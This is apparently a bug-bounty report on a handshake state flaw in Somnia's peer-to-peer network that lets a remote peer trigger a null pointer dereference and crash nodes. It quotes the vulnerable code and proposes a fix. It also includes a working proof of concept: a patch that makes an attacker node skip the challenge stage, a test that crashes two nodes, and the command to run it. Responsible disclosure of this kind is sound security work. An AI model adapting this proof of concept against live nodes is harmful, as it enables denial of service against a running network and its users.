https://github.com/hackenproof-public/somnia
A critical vulnerability exists in the peer-to-peer handshake state machine that allows an attacker to crash any Somnia node through a deliberate null pointer dereference. This attack exploits insufficient state validation during the handshake completion phase, enabling remote denial of service attacks against individual nodes or the entire network.
The peer-to-peer handshake protocol follows a strict three-stage sequence:
Each stage depends on successful completion of the previous stage, with the verified_peer_address field being populated during stage 2 when the peer's identity is cryptographically verified.
The handshake completion logic in FinishedHandshakeMessage processing contains insufficient state validation that fails to ensure the proper sequence of handshake stages.
This is the only validation:
// The peer is telling us they have finished the handshake (and have verified our
// address). All future messages will be payload.
if (incoming_handshake_state != IncomingHandshakeState::READY_TO_FINISH) {
// We were not expecting this.
return false;
}
Since incoming_handshake_state is set to READY_TO_FINISH during stage 1, the attacker can send a FinishedHandshakeMessage directly without completing stage 2.
This means that when verified_peer_address is read during stage 3, it will still be null, causing a segmentation fault when the node tries to dereference it:
spdlog::info("PeerNetwork successfully completed handshake with {}",
*verified_peer_address); // <- NULL DEREFERENCE
Connection Initiation
Stage 1 Completion
SendChallengeHandshakeMessage with arbitrary challengeincoming_handshake_state = READY_TO_FINISHverified_peer_address remains null (only set in stage 2)Stage 2 Bypass
RespondToChallengeHandshakeMessageverified_peer_address remains uninitialized (null)Stage 3 Exploitation
FinishedHandshakeMessage directlyincoming_handshake_state == READY_TO_FINISHverified_peer_addressSeverity: Critical
This vulnerability enables remote denial of service attacks against Somnia nodes through a simple, low-resource attack vector. It allows an attacker to crash any node, resulting in a complete network shutdown.
Implement comprehensive handshake state validation to ensure proper stage sequencing:
// In FinishedHandshakeMessage handler
if (incoming_handshake_state != IncomingHandshakeState::READY_TO_FINISH ||
outgoing_handshake_state != OutgoingHandshakeState::READY_TO_FINISH) {
return false;
}
Add the following check to the file peer_network.cc#L360:
if (HexStringToAddress("0x054a8494bea2c5251e70c3e8120138b21ab91193") != peer_network_transport.our_private_keys.GetAddress()) {
socket.Write(smash::SerialiseToVector<HandshakeMessage>(
RespondToChallengeHandshakeMessage{signature}));
}
We are using 0x054a8494bea2c5251e70c3e8120138b21ab91193 as the attacker node, so if we are the attacker, we should not send the RespondToChallengeHandshakeMessage.
Add the following test to demonstrate the attack to the file protocol_network_test.cc:
TEST_F(ProtocolNetworkTest, ProtocolNetworkNodeCrash) {
std::vector<std::unique_ptr<NodeActorManager>> nodes;
std::vector<crypto::PrivateKeys> keys;
std::vector<ChainParameters> params;
// Create 3 nodes: Attacker, Node A, Node B
for (int i = 0; i < 3; i++) {
keys.emplace_back(crypto::PrivateKeys::GenerateNonRandomKeys(1337 + i));
params.push_back(protocol_network_chain_parameters);
params[i].local_parameters.protocol_listen_port = 9051 + (i * 10);
params[i].local_parameters.data_listen_port = 9101 + (i * 10);
params[i].local_parameters.api_http_port = 9201 + (i * 10);
params[i].local_parameters.api_websocket_port = 9301 + (i * 10);
params[i].local_parameters.storage_database_directory =
fmt::format("/tmp/somnia_{}_{}", keys[i].GetAddress(), RandomHash());
nodes.emplace_back(std::make_unique<NodeActorManager>(params[i], keys[i], epoch_manager));
}
auto& main_network = nodes[0]->protocol_network.GetAsyncProtocolNetwork();
// Trigger the attack by connecting the attacker to both legitimate nodes
for (int i = 1; i < 3; i++) {
main_network.ConnectToPeer(keys[i].GetAddress(), "127.0.0." + std::to_string(i),
params[i].local_parameters.protocol_listen_port);
std::this_thread::sleep_for(std::chrono::milliseconds(100));
}
// Allow sufficient time for attack execution
std::this_thread::sleep_for(std::chrono::seconds(15));
}
bazel test --config no-avx -s //somnia/node:protocol_network_test --test_output=all --test_filter="ProtocolNetworkTest.*"
Note: Timing may need adjustment based on system performance and network conditions.
The test will crash the node.